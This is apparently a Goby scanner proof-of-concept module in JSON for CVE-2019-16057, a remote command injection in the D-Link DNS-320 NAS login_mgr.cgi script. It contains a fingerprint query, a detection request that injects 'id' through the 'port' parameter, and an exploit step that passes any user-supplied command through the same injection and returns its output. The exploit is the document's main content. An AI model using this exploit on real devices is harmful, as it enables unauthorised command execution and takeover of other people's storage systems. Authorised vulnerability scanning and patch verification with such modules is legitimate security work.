{
  "Name": "D-Link DNS-320 login_mgr.cgi RCE (CVE-2019-16057)",
  "Description": "The login_mgr.cgi script in D-Link DNS-320 through 2.05.B10 is vulnerable to remote command injection.",
  "Product": "D-Link DNS-320",
  "Homepage": "http://www.dlink.com.cn/",
  "DisclosureDate": "2021-06-02",
  "Author": "B1anda0",
  "GobyQuery": "body='<link rel=\"STYLESHEET\" type=\"text/css\" href=\"/web/css/button_style.css\">'",
  "Level": "3",
  "Impact": "<p>The login_mgr.cgi script in D-Link DNS-320 through 2.05.B10 is vulnerable to remote command injection.<br></p>",
  "Recommendation": "<p>upgrade</p>",
  "References": [
    "https://nvd.nist.gov/vuln/detail/CVE-2019-16057"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "id"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username=",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "uid=",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "gid=",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
        "method": "GET",
        "uri": "/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26{{{cmd}}}&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username="
      },
      "SetVariable": [
        "output|lastbody"
      ]
    }
  ],
  "Tags": [
    "RCE"
  ],
  "CVEIDs": ["CVE-2019-16057"],
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}